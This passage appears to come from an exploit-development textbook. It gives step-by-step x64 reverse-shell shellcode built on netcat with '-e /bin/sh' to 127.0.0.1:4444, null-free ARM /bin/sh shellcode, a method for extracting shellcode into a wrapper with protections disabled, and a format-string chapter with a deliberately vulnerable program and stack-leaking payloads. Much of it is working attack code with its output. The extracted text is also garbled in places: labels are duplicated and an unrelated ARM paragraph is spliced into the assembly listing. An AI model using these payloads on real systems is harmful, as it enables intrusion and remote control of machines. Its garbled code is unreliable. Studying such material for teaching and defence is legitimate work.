Why is x64 so important? Well, this architecture is important because most
of the current systems, running on this architecture. Every program you use
nowadays is on 64Bit. This is because the 32Bit is outdated. The maximal
memory is on the 32Bit/x86 architecture, only 4GB.
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This lies in the binary system, which only knows 0 and 1. Think about that:

Let M : Z2 = {0, 1}
Pot(M) = |M | = |{0, 1}| = 2

So the maximal memory will be:

maxmem = 232 = 4294967296⇔ 4096MB ⇔ 4GB

It was possible with workarounds with software to address more memory as
4GB, but it was not the solution. Intel was developing the IA64 architec-
ture, which was a very radical change, which has nearly nothing common
to the IA32, which was present on x86 Systems. AMD has only extended
the IA32/x86 architecture by added more instructions and modes to com-
pute 64Bit. This architecture is now defacto standard for many CPU’s it is
also known as x86-64 or x86 64. This architecture made it possible to run
32Bit applications. Imagine you have to write an entire application that runs
on x86 also for intel’s IA64 architecture again. Cleary no, now most of the
programs which are written in higher languages like C/C++, Java, Python
and more, can be compiled on x64 and they work. Some of them need small
changes, but we don’t have to write a new program which already exists.
Another good reason why x64 is used today its faster because the processor
can now calculating with 64Bit values. Imagine you want to add some values,
you can add the whole values of the registers and the stack very quick.

add rax , rdx

Instead of:

add eax , edx
adc ecx , ebx

On x86 we have to do two instcutions to get the same result of adding values
instead of one instruction. To show how x64-shellcoding works, we write a
simple shellcode for spawning a reverse-shell. For writing an x64-shellcode
we can also use the NASM compiler and GCC, all steps are very similar to
the x86 versions.

s e c t i o n . t ex t
g l o b a l s t a r t

s t a r t :

In the code above, the start of the assembly code is the same as the x86
-version of it.
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Now we have some better options to store files like ”/bin/sh”, ”/bin/nc”
etc... we can also use the JMP-CALL-POP method to get the IP-Address
and Port. That is what we should do first.

s e c t i o n . t ex t
g l o b a l s t a r t

s t a r t :
jmp shor t hos t ; get the address o f the host address .

s t o r e 1 :
pop r9 ; save i t in r e g i s t e r r9 .
jmp shor t po r t ; get the address o f the port .

s t o r e 1 :
pop r10 ; save i t in r e g i s t e r r10 .

; s y s c a l l i n g here

hos t :
c a l l s t o r e 1 ; c a l l back to save and get the port
host db ” 1 2 7 . 0 . 0 . 1 ” , 0x0a

por t :
c a l l s t o r e 2 ; c a l l back to save and invok ing s y s c a l l
port db ”4444” , 0x0a

This basic structure is important because it is possible to change the host
and port easier than coding it hard in hexadecimal. The host address and
the port are popped into the registers R9 and R10. This is very comfortable
to use because we can create more complex commands for the shellcode. The
next step is to clear the register RAX and push the first command onto the
stack. There multiple possibilities to push data on the stack in x64. The
first one is to move 64bits into a register and push the register value onto
the stack. The second method is to push the first lower 32 Bits and then the
higher 32 Bits on to the stack. Also, the JMP-CALL-POP method can be
used for every data which we want to push on to the stack. The best method
for this shellcode is to store the data into the registers and push their values
onto the stack and save the Stack pointer.
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To store the defined host and port in registers RDI and R12 we can reuse
the label ” store 2” to apply the Move-Push method for both. We also use
this label to store the command line argument ”-e” in register R11.

Figure 5.29: Move-Push as a method for pushing //bin/nc onto the stack

Here in Figure 5.29, we can see, we copy the constant ”//bin/nc” into the
register RDI and push that onto the stack and save the Stackpointer into
the register RDI. With this method, we can push more than 32Bit onto the
stack. Can we push data with a length of 64Bit with the push command
onto the stack? No, there is no option to push data with a length of 64Bit
onto the stack without using registers or something else. The push command
can only contain 32Bit as operands. To push the argument ”-e” we can use
a simple push word operation:

push rax ; push NULL as s t r i n g terminator onto the s tack
push word 0x652d ; the ”=e” command opt ion as WORD
mov r11 , rsp ; save the argument in r e g i s t e r r11

For the command ”/bin/sh” as the next argument, we can also use the Move-
Push method to push that onto the stack and saving it in register R12. Is
this the only way and what could be an alternative to store larger values
onto the stack? Well, a good alternative is to store the string to labels like
the host and the port of this shellcode. Another option is to use push. Here
we push the string in chunks onto the stack and store the stack pointer in a
register. For now, this method is quite enough to get a working shellcode.
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Figure 5.30: Move-Push’s applied for the strings

We see the complete applying of all Move-Push’s to use the defined host
address and the port. At this point (Figure 5.30 ), all required data like
host port commands, etc... are lying on the stack and all registers have the
pointers to their parts. The next step is to make the System-Call spawn
a reverse shell. Here we can create a new label called ” exec” where the
function ”execve” will be called. Also here, is the call like the x86-version
of the system call. The only thing that we have to know is the syscall-
number is now 59. To make the interrupt, we have to use the instruction
”syscall”. Note, we cant use ”int 0x80” because it is defined for x86 and not
for x64/amd64.

”int 0x80”x86 6= ”syscall”x64, but”int 0x80”behavior ⇔ ”syscall”behavior
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Figure 5.31: Creating ”execve”-syscall

Here we can see how the x64-Version of an ”execve”-syscall is built. The first
parameter is the file, in this case ”/bin/nc” which is stored in the register
RDI. In the figure above the second parameter is build. All parts are pushed
onto the stack and the current Stackpointer is stored into the register RSI,
which holds the full argument list. The third parameter which holds the
environment-variables will be stored in the register RDX. In this case, the
third parameter can be set to NULL by clearing it. But we see in the figure
above we don’t set it to NULL because it is already NULL. After setting
all parameters for the function ”execve” the register RAX can be set to the
syscall-number 59. The last line triggers the interrupt and our command will
be executed.
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The resulting shellcode to execute:

s e c t i o n . t ex t
g l o b a l s t a r t

s t a r t :
jmp shor t hos t ; get the address o f the host address .

s t o r e 1 :
pop r9 ; save i t in r e g i s t e r r9 .
jmp shor t po r t ; get the address o f the port .

s t o r e 1 :
pop r10 ; save i t in r e g i s t e r r10 .
xor rax , rax ; c l e a r r e g i s t e r RAX to s e t i t to NULL
push rax
mov rdi , 0 x636e2 f6e69622 f2 f ; s e t r d i to ”// bin /nc”
push r d i ; push the value onto the s tack
mov rdi , r sp ; save the cur r ent l o c a t i o n in to r d i .
push rax
push word 0x652d
mov r11 , rsp
push rax
push 0 x68732 f6e69622 f2 f
push r12
mov r12 rsp

exec :
push rax ; push the command arguments onto the s tack
push r12
push r11
push r10
push r9
push r d i
mov r s i , r sp ; save the arguments RSI => argv [ ]
add rax , 59 ; s e t the s y s c a l l number to 59 f o r ” execve ”
s y s c a l l ; invoke the s y s c a l l
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hos t : The r e g i s t e r s in blue are the genera l=purpose=r e g i s t e r s . These r e g i s t e r s are used f o r s e v e r a l ope ra t i on s . To s e t i t equal to the x86 , we can say the
r e g i s t e r R0=R5 i s (EAX, EBX, ECX, EDX, ESI , EDI ) . One th ing i s in ARM, a
c a l l i n g convention , which means i f we make a func t i on c a l l , we have to
use f o r the parameters the r e g i s t e r s R0=R3 .

c a l l s t o r e 1 ; c a l l back to save and get the port
host db ” 1 2 7 . 0 . 0 . 1 ” , 0x0a

por t :
c a l l s t o r e 2 ; c a l l back to save and invok ing s y s c a l l
port db ”4444” , 0x0a

By executing the shellcode we should get a reverse-shell. The compiling of
this shellcode is simple, we have to set on NASM the format to ”elf64” which
stands for ”Executable and Linking Format 64Bit”, this makes the compiler
to use the 64Bit instructions and the address space. For the linker ld, we
have only to set the emulation mode to ”elf x86 64” to link it in 64Bit. Here
we also have compatibility with x86.

˜$ nasm =f e l f 6 4 code . asm && \
ld =o code =mel f x86 64 code . o && \
. / code

Figure 5.32: The shellcode spawns a reverse TCP shell

We can see in FThe registers in blue are the general-purpose-registers. These
registers are used for several operations. To set it equal to the x86, we can
say the register R0-R5 is (EAX, EBX, ECX, EDX, ESI, EDI). One thing is
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in ARM, a calling convention, which means if we make a function call, we
have to use for the parameters the registers R0-R3. igure 5.32, this shellcode
works and we have a shell. So what’s next? Well, we have to extract the
shellcode and have to embed it into the Shellcode-Wrapper.
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Figure 5.33: Extracted x64-Shellcode is embedded into the Shellcode-
Wrapper

Now it’s time to compile it with GCC. We can remove either the flag -m32
or change it to -m64 to achieve a 64Bit compiled binary.

˜$ gcc =o t e s t e r =fno=stack=p r o t e c t o r =z exec s tack t e s t e r . c
#or we can use =m64
˜$ gcc =m64 =o t e s t e r =fno=stack=p r o t e c t o r =z exec s tack t e s t e r . c

When we run it, we get a surprise. We don’t get a reverse shell! We got
a segmentation fault instead (Figure 5.34 ). This happens because of the
overwrite of some registers by the Wrapper during runtime.

Figure 5.34: We got a segmentation fault by running the Shellcode-Wrapper
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By debugging the shellcode, we see in Figure 5.35, at the label ” exec” that
the register RDX is overwritten and causing a segmentation fault. Most seg-
mentation faults, on this stage, are caused by incorrect register values.

Figure 5.35: GDB shows, the register RDX gots overwritten by some instruc-
tions

Remember, only the first 2 parameters are useful for us. The function ”ex-
ecve” tries to get the environment variables which doesn’t exist. This should
be a NULL.

i n t execve ( const char * f i l ename , char * const argv [ ] ,
char * const envp [ ] ) ;

The solution to fix this error is clearing the register RDX before the syscall
number is stored into the register RAX.

mov r s i , r sp
xor rdx , rdx ; s e t envp = NULL to f i x the s e g f a u l t
add rax , 59
s y s c a l l
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The corrected shellcode can now be extracted and embedded into the Shellcode-
Wrapper. Now we can compile this code and execute it. The result by exe-
cuting the shellcode should look like this figure below.

Figure 5.36: Shellcode spawns a reverse shell

In Figure 5.36 we see the fix works and we got a reverse shell by executing
the Shellcode-Wrapper. As a conclusion, we know now that an x64-Shellcode
is not very difficult as an x86-Shellcode. Both are very similar and it is rec-
ommended to learn both.

Nowadays to know x86 and x64 are good to write shellcodes for many sys-
tems, but many years ago another interesting architecture was established.
The architecture can be found on many devices like smartphones, watches,
TV’s. Also, some computers were built on it like the raspberry pi. This
architecture is known as ARM.
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5.11 ARM Shellcode

ARM is another CPU-Architecture that is used for mobile devices like smart-
phones, IoT, Notebooks, etc..., but this Cpu-Architecture can also found in
embedded systems for industry. This is very different from the normal x86
or x64 architecture. Here we don’t have a von Neumann- Architecture, we
have here a Harvard-Architecture which means her we don’t have a common
memory space where data and the program are stored into. Here in this
chapter, I want to give a small example because this is another programming
universe. Shellcoding works very similarly to the x86 version. We will write
a basic ”/bin/sh” shellcode, which spawns a simple shell.

Here for the development environment, a raspberry pi 3b is used with in-
stalled Raspbian lite edition. To compile the shellcode the compiler ”as” is
used. To link the shellcode we can use ”ld”, like on the Debian machine.
GDB can also be used for debugging but here the plugin called ”PEDA” is
replaced with ARM-PEDA to debug properly the shellcode.

. s e c t i o n . t ex t

. g l o b a l s t a r t
s t a r t :

; do s t u f f

The first lines are very similar to the x86/x64-assembly. One difference we
have here, the keywords ”section” and ”global” is starting with a dot. This
is one thing of the syntax in ARM-assembly. To make a basic system call to
the function ”execve”, we have to use 4 registers. The constellation of the 4
registers is as follow:

i n t execve ( const char * f i l ename , char * const argv [ ] ,
char * const envp [ ] ) ;

R0 = const char * f i l ename
R1 = char * const argv [ ]
R2 = char * const envp [ ]
R7 = S y s c a l l number 11
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Before the shellcode can be written, we have to look at the register set of the
ARM-Architecture. In the figure below, we see all the 16 registers with the
Flag-register.

Figure 5.37: Register overview of the ARM-Architecture

General-Purpose-Registers (R0-R10):
The registers in blue are the general-purpose-registers. These registers are
used for several operations. To set it equal to the x86, we can say the register
R0-R5 is (EAX, EBX, ECX, EDX, ESI, EDI).

R0 7→ EAX

R1 7→ EBX

R2 7→ ECX

R3 7→ EDX

R4 7→ ESI

R5 7→ EDI

One thing is in ARM, a calling convention, which means if we make a func-
tion call, we have to use for the parameters the registers R0-R3.

Frame-Pointer (R11):
The Frame-Pointer holds the base address of the stack frame, which will be
created on a function call. This pointer can be seen as the Base- Pointer
from the x86/x64-Architecture.
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Intra Procedural Call (R12): This register is also called ”Intra Procedural
Call scratch register”. This was used as a procedure entry for temporary
workspace. But it can also be used to store local variables in there or for
some operations.

Stack-Pointer (R13):
This register points to the top of the stack. This pointer is used for allocating
space on the stack. To allocate space on the stack, subtract 4 bytes from the
register value to allocate 32bit (4 bytes) of storage.

Link-Register (R14):
This register is for holding the return address of a function or subroutine. If
the end of a function or routine is reached, the return address will be loaded
into the program-Counter / Instruction-Pointer, to resume the program after
a call. On an occurrence of an exception, this register also provides a special
code value, which is used by the exception return mechanism.

Program-Counter/Instruction-Pointer (R15):
This register is the Instruction-Pointer, which we already know from the
x86/x64-Architecture. This register holds the address of the current instruc-
tion instead of the next instruction, like the x86/x64 version. The address in
this register is already 32Bit long. In Thumb-Mode, it’s only 16Bit. During
execution, the Instruction-Pointer stores the address of the current instruc-
tion. A special of this register is, the current address is added with 8, which
are two instructions in ARM-Mode. In Thumb-Mode the current instruction
is added with 4, which are two Thumb-Mode-Instructions.

CSPR/Current Program State Register/Flags:
This register holds all the flags during and after the execution of an operation
or procedure. Here we find the status bits for Zero, negative, overflow, and
carry. This is very similar to the register EFLAGs from x86- Architecture.
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The knowledge about these registers helps us to write the shellcode to spawn a
shell. This knowledge is important for removing null bytes from the shellcode.
First, we need to set the registers R1-R3 properly.

. s e c t i o n . t ex t

. g l o b a l s t a r t
s t a r t :
mov r1 , #0 ; s e t argv = NULL
mov r2 , #0 ; s e t envp = NULL
mov r7 , #11 ; s e t s y s c a l l number = 11

To set the registers R1 and R2 to the value zero which is NULL in C we have
to use a ”mov” instruction, seen in the code. The register R7 gets the system
call number 11, to call the function ”execve” by invoking the system call. To
push the string ”/bin/sh” into the register R0, we can allocate many bytes of
memory and use this address as register value for R0. Here we have several
options to do this. The first option is to use the keyword ”.ascii” to allocate
bytes for the string itself. But, here we have to append the null byte manu-
ally. The second option is to use the keyword ”.asciz” which automatically
appends a null byte to the end of the string. The third option is to declare
it with the keyword ”.string” her also a null byte automatically appended
to the end of the string, but here we can use several escape characters in
our string. But for this example, the allocation with the keyword ”.ascii” is
enough.

Figure 5.38: Declaration of the string ”/bin/sh” with the keyword .ascii
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In Figure 5.38, we see the declaration of the string command, which will
be executed by calling the function ”execve”. To assign the command to
the register R0, we have to add to the register R0 the current Value of the
Instruction-Pointer increased by 12 to reach the address of the allocated
space where the command is stored. By increasing the Instruction-Pointer
by 12, we have a relative Instruction-Pointer after the next instruction. This
is because the Instruction-Pointer has a length of 2 Instructions.

add r0, pc, #12 7−→ PCrel = PC + 4

mov r1, #0

mov r2, #0 7−→ PCrel

mov r7, #11 7−→ PCrel + 4

some instruction 7−→ PCrel + 8

.ascii ”/bin/sh\0” 7−→ PCrel + 12

The reason why we have to add 12 to get a relative instruction pointer (PC)
is, on every step, the PC loads up 2 instructions simultaneously. Now we
have to one thing, invoke a system call. To invoke a system call, we can use
2 instructions to do that. The first one is the instruction ”SVC”. This is
called Super Visor Call. These calls are normally used to request privileged
operations or access to system resources from an operating system. The
second is ”SWI” which stands for Soft-Ware Interrupt. This instruction
causes an exception, which will switch the processor in the supervisor mode
and invokes the system call. One interesting fact to the second instruction
is, this is also the SVC-instruction today.
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To invoke the system call, we can use the instruction ”SVC” with the argu-
ment ”0”, which is equivalent to the interrupt number 0x80 from the x86-
Architecture. In the code below, we see the system call interrupt.

s e c t i o n . t ex t
. g l o b a l s t a r t
s t a r t :
add r0 , pc , #12
mov r1 , #0 ; s e t argv = NULL
mov r2 , #0 ; s e t envp = NULL
mov r7 , #11 ; s e t s y s c a l l number = 11
svc #0

. a s c i i ”/ bin / sh \0”

We see a form of equivalence between a syscall interrupt on arm and x86/x64.

”int 0x80”x86 6= ”svc #0”arm, but”int 0x80”behavior ⇔ ”svc #0”behavior

This code is now complete and can be compiled with ”as”and linked with
”ld”. If we run this compiled shellcode we should get a shell.

Figure 5.39: Compiling and execution of the shellcode

The shellcode works, which we can see in Figure 5.39, but is this null byte
free?
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To answer the question, we can look at the dump of the binary with ”obj-
dump”.

Figure 5.40: Nullbytes are present in the shellcode

What we can see in Figure 5.40, there are several null bytes in the shellcode
which we have to remove. The first one that we can do is to replace the null
byte in the string with other chars. To get it to a null byte later, we can add
a new instruction that sets this char to null to end the string. To change a
byte in a register, we can use the instruction ”strb”.
The instruction is builded as follows:

STRB Wt, [Xn |SP , Rm{ , extend {amount }} ]

With this instruction, we can set bytes in a register on a specific offset. The
operand ”Wt” describes the register which will be transferred. The second
operand ”Xn—SP” describes the register which gets the transferred value.
The last operand ”Rm” is the offset where the value will be placed into the
target register.
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The applying of this instruction looks like in the snippet below:

s t rb r1 , [ r0 , #7]
svc #0

. a s c i i ”/ bin / sh\#”

Here we have the string ”/bin/sh#” the last character was a null byte. This
can be replaced with another symbol like ”#”. The instruction ”strb” will
take the value of register R1. At the 7th character, it will replace the ”#”
with a null byte at runtime. The dump of the compiled shellcode looks at
the end a bit differently. Our null byte is now replaced with the other char.

Figure 5.41: Objdump’s output shows the null byte is now removed

We see here the null byte in the string ”/bin/sh” is being replaced with other
char. This trick can be used on other architectures like x86/x64, too. But
there many other null bytes, which have to be removed. Many of them can
be removed by entering the Thumb-Mode. Thumb-Mode reduces the 32bit
instruction to 16Bit instructions, which helps a lot to remove null bytes. This
mode reduces the size of the program by about 30 to 40 percent, which means
our shellcode gets very compact.
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What is Thumb-Mode? The Thumb-Mode is a feature, which reduces the
memory requirements for specific functions for increasing the code density.
This feature has a specific instruction set, which almost 16Bit long. Although
we have to write more instructions, we get a size shrink round about 30-40%.
Instructions in Thumb-Mode are mostly slower because 2 Instructions will be
loaded if a 32Bit block size is used. Also, if memory space is accessed because
it will be accessed in 32Bit, which makes Thumb-Mode slower. Another thing
about Thumb-Mode is, we lose nearly half of all general-purpose registers.

Figure 5.42: ARM registers avaiable on Thumb-Mode

To enter the Thumb-Mode we have to tell the processor that we want to
leave the ARM-Mode and switch over to the Thumb-Mode. What happens
by entering this mode? By entering this mode, we also have to save the
current state and enter a new branch which runs in this mode. To enter
this mode we have to write 4 instructions which saves the current state and
create a new branch. The first one is the a semi- instruction which defines
a 32bit region. In this region we write 2 instruction which saves the current
instruction-Pointer added by one into a register. The next instruction creates
the branch based on the saved register value.
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s e c t i o n . t ex t
. g l o b a l s t a r t
s t a r t :

. code 32 ; d e f i n e the 32 Bit r eg i on
add r6 , pc , #1 ; get the pc and a l i g n i t to thumb=mode
bx r6 ; c r e a t e a branch f o r thumb=mode

add r0 , pc , #12

In the snippet above, we see, the region was defined with the keyword ”.code
32”. This means all following instructions have to be run in 32Bit ARM-
Mode. The first instruction adds to the register R6 the current value of the
Instruction-Pointer. To set the base address correctly, we have to increase
this value by one to get a Thumb-Base address. This will be used to return
to the ARM-Mode if we don’t need the Thumb-Mode anymore. The next
instruction creates a branch based on the value of register R6. Now we have
to apply some changes to the rest of the shellcode, that it runs properly
in Thumb-Mode. Now we have to apply some changes to the rest of the
shellcode, that it runs properly in Thumb-Mode. Here comes the last new
instruction. This is an instruction to define a region too. Here we define a
region that has to be run in 16Bit. Also, here we use the keyword ”.code”.

s e c t i o n . t ex t
. g l o b a l s t a r t
s t a r t :

. code 32
add r6 , pc , #1
bx r6

. code 16 ; d e f i n e the 16 Bit r eg i on
add r0 , pc , #8 ; a l i g n the pc value to thumb=mode
mov r1 , #0
mov r2 , #0
mov r7 , #11
s t rb r1 , [ r0 , #7]
svc #0

. a s c i i ”/ bin / sh#”

In the snippet, we see the applied changes for Thumb-Mode.
The first change is the definement of the 16Bit region. The next change is
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the relative PC (Instruction Pointer) stored in register R0. This value must
be decreased by 4 bytes. This will cause a new alignment of 4 bytes, which
means we reach the address of the string ”/bin/sh” after 4 bytes because we
are in Thumb-Mode and jump 2 Bytes each. This current code would also
work if we compile and execute it, but we still have null bytes in our shellcode.
Here we can set the argument for the ”svc”-instruction to 1. The number 1
is nearly the same as the 0 before. The difference here is, we create a shell
via a fork. Bot registers R1 and R2 have to be null. Also, here we can use
XOR-instructions to set it to null. If we apply the changes to the shellcode,
the code looks like in the figure below. The compilation of this shellcode
requires the additional flag N for the linker to disable the ”read-only”-mode
in the section ”.text”.

”eor rN, rN”⇔ ”mov rN, #0”

”sub rN, rN”⇔ ”mov rN, #0”

”sub rN, rN; add rM, rN”⇔ ”mov rN, #0”

s e c t i o n . t ex t
. g l o b a l s t a r t
s t a r t :

. code 32
add r6 , pc , #1
bx r6

. code 16
add r0 , pc , #8
eor r1 , r1 ; c l e a r i n g r e g i s t e r r1 with xor
eor r2 , r2 ; c l e a r i n g r e g i s t e r r2 with xor
mov r7 , #11
s t rb r1 , [ r0 , #7]
svc #1

. a s c i i ”/ bin / sh#”

In the code, we see the all applied changes to remove the last null bytes.
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The corresponding dump of the shellcode looks now like in Figure 5.43.

Figure 5.43: Null free shellcode is shown by ”objdump”

The shellcode has no null bytes in there, now it can be executed in a buffer-
overflow vulnerablity. To test if the shellcode works we can execute the
generated binary.

Figure 5.44: Null free shellcode is working properly and spawns a shell

Figure 5.44 shows that the shellcode works properly. At this point, we
can think about extracting the shellcode to insert this into the Shellcode-
Wrapper. To extract this shellcode, we can use ”hexdump” or make it man-
ually. In this chapter, we make both methods.
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The first one, which I want to show, is to extract the shellcode manually. If
we extract the shellcode manually from the output of ”objdump”, we have
to reverse the byte order from each line. Why? Well, the ARM-Architecture
is In Litte-Endian format, but if we want to use it in our Shellcode-Wrapper,
we want Big-Endian.

”add r6, pc, #1” = e28f6001big−endian ⇔ 01608fe2little−endian

01608fe2little−endian ⇔ \x01\x60\x8f\xe2extracted−string

The second method to extract the shellcode is to use ”objcopy” to copy
only the section ”.text” into a binary dump, which we can convert with
”hexdump” to a hex string:

objcopy =O binary code code . bin
hexdump =v =e ’”\\””x ” ’ 1/1 ”%02x” ”” ’ code . bin

� objcopy, is a binary utility tool by GNU. It copies only the section
”.text” into a dump file.

� -O binary, we specify the output format of the copy, in this case, we
want a raw binary.

� The last bot arguments code and code.bin are the in/out files. Here we
have code as our input and code.bin as our output file.

� hexdump, is a utility tool to display the file contents in hex, octal, ascii,
etc...

� The command line option -v causes hexdump to display all input data.

� For specifying the output format we use the command line option -e
followed by a pattern. In thic case we prepend on each byte a ”\x” and
format each byte in 2-digit formation. The pattern 1/1 means it will
be applied once and takes one byte.
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Figure 5.45: Shellcode extracted and converted into a hex string

As we can see in Figure 5.45, the shellcode is extracted with ”objcopy” to
copy only the section ”.text” where the entire shellcode is and gets converted
into a hex string with the tool ”hexdump”. This shellcode can now be placed
into the Shellcode-Wrapper for testing if it works.

Figure 5.46: The shellcode is placed into the Shellcode-Wrapper

This C-Code can now be compiled as the same as the x86/x64-version of the
wrapper. Also here we have to disable the DEP and enable the execution of
the stack.
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We see in Figure 5.49, the final result. The extracted shellcode works without
any errors in the Shellcode-Wrapper and spawns a shell that we can use.

Figure 5.47: The extracted shellcode works in the Shellcode-Wrapper

153



5.12 Final thoughts

This chapter was very much, but it is essential to have the skill of writing
shellcodes. Sometimes you can’t use only shellcodes written by others. We
have seen here various shellcode methods and architectures. Don’t worry, if
you don’t understand it all, you can reread this chapter.

If this all was easy for you to understand, congratulation! Then you are on
the right way or you have it already learned. If not, then I recommend you
should read this chapter again and try it put into practice and you will
understand. For better understanding, I recommend writing some own
shellcodes and you get a better feeling.

What did we learn in this chapter? We learned how a basic shellcode looks
like. This type is quite easy to write because you only have to avoid null
bytes. We also learned polymorphic shellcodes and how can these built.
This type is also basic because you replacing instructions to achieve the
same functionality but better chances to successfully bypass signature-based
detections. We also learned how shellcodes can be encoded. We encoded a
shellcode by increasing each byte, XORing them with a fixed key, or with a
dynamic key. We also learned how we can write shellcodes for x64/amd64,
where we can apply all the methods before. Also, we learned a bit about
ARM-shellcodes, where we can also apply all the learned stuff.

Shellcoding is an essential skill in exploit-development. Mostly basic
shellcodes will be written in most cases. Shellcoding is also a likely
forgotten type of art.
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Chapter 6

Format-String

6.1 Introduction

This chapter will describe what format string vulnerabilities are and how we
can find them. We will also exploit this vulnerability to read out the memory
and manipulate some values to change the program behavior. Before we can
start there some things about format strings to be explained.

6.2 What is a format string?

A format string is, what the name says, a formated string. To output some
lines to the screen we can use functions like ”printf” to print out the whole
string or some other values. This function allows us to print out a formated
string which means we can define a string format like ”I am %d years old”.
This example string is a formatted string that has ”%d” as a specifier that
will be replaced by an integer. As the output we will get for specifier ”%d” as
1: ”I am 1 years old”. The code below gives you an example of how format
strings work. As an example, I used the ”I am %d years old” string.

#inc lude <s t d i o . h>
#inc lude <s t d l i b . h>

i n t main ( i n t argc , char ** argv )
{

i n t years = 1 ;
p r i n t f (” I am %d years o ld \n” , years ) ;
r e turn 0 ;

}
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This will print:

˜$ . / p r in tage
I am 1 years o ld

6.3 What are the Specifiers of a format string?

Functions like ”printf” have many specifiers, which are listed below. Each
specifier stands for a different data type like integers, characters, strings,
pointers, floats, etc...

Specifier Description

%a Hexadecimal floating point, lowercase
%A Hexadecimal floating point, uppercase
%c Character
%d Signed decimal integer
%e Scientific notation (mantissa/exponent), lowercase
%E Scientific notation (mantissa/exponent), uppercase
%f Decimal floating point, lowercase
%F Decimal floating point, uppercase
%g Use the shortest representation: %e or %f
%G Use the shortest representation: %E or %F
%i Signed decimal integer

%n
Nothing printed. The corresponding argument must be a
pointer to a signed int. The number of characters written
so far is stored in the pointed location.

%o Unsigned octal
% Pointer address
%s Strings
%u Unsigned decimal integer
%x Unsigned hexadecimal integer
%X Unsigned hexadecimal integer (Uppercase)

%%
A % followed by another % character will write a single % to
the stream.

156



6.4 What is a format string vulnerability?

A format string vulnerability is an issue that comes out by using functions
like ”printf” wrong. This function has two or more arguments, the first argu-
ment specifies the string format, and the rest of the arguments are the data
like integer, char, float, etc...

The problem, which causes a vulnerability lies in the first parameter. It
proved format strings and expects variables or values which are associated
with the format specifier. An example of a proper format string usage will
be:

p r i n f (” This i s a %s ” , ” s t r i n g ” ) ;

The corresponding stack layout is:

Figure 6.1: Format-String on normal usage

Figure 6.1 shows a normal usage of format strings. Here the format string
has the format specifier ”%s”. This expects one value or variable. We see
the second parameter of the function ”printf” is ”string”. In this example,
the function reads the value from the previous stack address, which is the
address to our ”string”.
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If no variable or value is specified, the function tries to read the previous
stack address value from the stack. What exactly happens we can see in
Figure 6.2.

Figure 6.2: Format-String on vulnerable usage

Here we see the function ”printf” tries to read many previous stack addresses
which causes the vulnerability. This leads users to execute string formats as
an input of this function. If a user enters input format characters, he will able
to see values on the stack, or in the very worst case, he can write an arbitrary
value to stack addresses to cause miscellaneous behavior to the program.
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6.5 Which functions are affected?

I said that functions like ”printf” cause a format string vulnerability if the
functions will be used wrong. The fact is not only the function ”printf” is
affected by this vulnerability, but a whole family of functions is also affected
by that.

Function Description

fprintf Prints to a Filestream (Files)
printf Prints to the Outputstream ”stdout”
sprintf Prints to a string

snprintf Prints to a string with length checking
vfprintf Prints to a Filestream (Files) from va arg
vprintf Prints to a to the Outputstream ”stdout” from va arg
vsprintf Prints to a string from va arg

vsnprintf Prints to a string with length checking from va arg

These functions are affected by this vulnerability, which means if one of those
functions are used, the programmer should carefully handle user inputs.

6.6 Why the Stack?

A format string is basically an ASCIIZ that contains the string and the
format specifiers. This means the whole format string will be stored on the
stack. Functions like ”printf” retrieve their format specifiers as parameters
that are stored on the stack, and this controls the behavior of the function
itself.

6.7 Definition of the development environ-

ment

Our machine for the development will be a Debian 10 Buster with preinstalled
GDB. As a better interface for GDB, PEDA will be used. The vulnerable
program has no NX/DEP but ASLR enabled. As our compiler, we use GCC
for compiling the vulnerable program.
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6.8 The vulnerable program

The following code is simple, it prints out the first argument passed to the
program. If the correct password is entered, we get a shell also if the variable
flag is not 0. This program covers the most common format string attack
vectors.

#inc lude <s t d i o . h>
#inc lude <s t d l i b . h>
#inc lude <uni s td . h>
i n t f l a g = 0 ;
char passwd [ 8 ] ;

i n t main ( i n t argc , char *argv [ ] )
{

s t rncpy ( passwd , ” s 3 c r 3 t \0” , 8 ) ;
char buf [ 1 0 2 4 ] ;
s t rncpy ( buf , argv [ 1 ] , 1023 ) ;
p r i n t f ( buf ) ;

p r i n t f (”\ n f l a g value = %x\n” , f l a g ) ;
i f ( f l a g | | strcmp ( buf , passwd ) == 0)
{

p r i n t f (” Login s u c c e s s \n ” ) ;
execve (”/ bin / sh ” , NULL, NULL) ;

}

r e turn 0 ;
}

A closer look shows a vulnerability, which is in the line where the buffer will
be printed out by the function ”printf” without any format string. This line
contains the format string vulnerability. Well, we have to figure out, what
and how much we can control.
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6.9 Testing the vulnerability

The very first what we can test due to this vulnerability is to try some format
specifiers as program arguments. We get either only the specifier back or
formatted outputs as a result. The formatted output is a good indication
that we have found a format string vulnerability.

Figure 6.3: Testing for the format string vulnerablity

In Figure 6.3, we see multiple tests, which prints different results every time
depending on the format specifier. The specifier ”%d” converts a stack value
into a signed integer. The second one turns it into a hexadecimal number.
The specifier ”%s” gots print out. This output can be either the value itself
or the pointer of that value. Sometimes if the specifier ”%s” is multiple times
applied like in the last line, a segmentation fault can be triggered. This is
because the values will be interpreted as an address, but some addresses
don’t exist in the program memory.
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6.10 Reading the Stack and arbitrary values

We have tested the program for this vulnerability, and now it’s time to try
exploiting it. The first what we can do is to read out the stack. To readout
the stack, we can build a format string that repeats the same format specifier.
This means we are going to create a repeating pattern.

. / vuln $ ( python =c ” p r i n t ’%x ’ * 20”)
f f8727eb3f f80491bc78257825782578257825782578257825782
5782578257825782578257825782578257825782578250000000
f l a g value = 0

By trying to read the stack, we don’t get a good readable output. To get
a better output of the stack, we can use a better format. Many format
specifiers can be configured.

� %x. :
A dot will be added after each value.

� %08x. :
A dot will be added after each value. Each value will also be formatted
to an 8 digit long hex value.
The values will also filled up with leading zeros as the prefix.

� %p. :
A dot will be added after each value. Each value will be formatted to
a pointer address.
Some values like NULL will be formatted as ”(nil)”

A closer look at the format configuration ”%08x.”, shows how it works:

%︸︷︷︸
Formatting start

0︸︷︷︸
Prefix value

8︸︷︷︸
Number of digits

x︸︷︷︸
Format

.︸︷︷︸
Arbitrary character

Here we see how the format is configured. The first part % is the beginning
of the formatting. As the second character, we have our prefix. The prefix
is used for filling up the number zeros on the left side. If no prefix is set,
spaces will be used to fill it up on the left side. Number 8 describes the
number of the minimum digits, which will be printed and is represented by
the third character. The fourth character declares the output format, in this
case, an unsigned hexadecimal integer. The last character is only a character
to separate each value from each other.
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Now we can read out the stack with a better output. Here we can read up to
256 32Bit stack values. Why only 256 values? Remember, we have a buffer
with a length of 1024 bytes.

1024 bytes

4 bytes
= 256 32Bit values

What Figure 6.4 clearly shows, the stack is leaked due to this vulnerability.
A leaked stack is one of the worse things that can happen.

Figure 6.4: Reading the stack

We see multiple values here. Some of the values are not very interesting
because many of them are only addresses that points to values on other
